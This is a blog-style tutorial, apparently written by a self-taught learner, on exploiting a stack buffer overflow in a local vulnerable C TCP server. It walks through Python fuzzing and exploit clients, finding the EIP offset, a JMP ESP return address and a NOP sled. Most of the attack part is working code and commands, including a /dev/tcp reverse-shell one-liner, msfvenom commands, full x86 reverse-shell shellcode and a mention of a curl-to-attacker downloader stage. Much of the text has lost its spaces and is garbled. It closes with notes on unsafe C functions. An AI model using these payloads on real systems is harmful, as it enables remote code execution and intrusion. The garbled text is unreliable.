WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

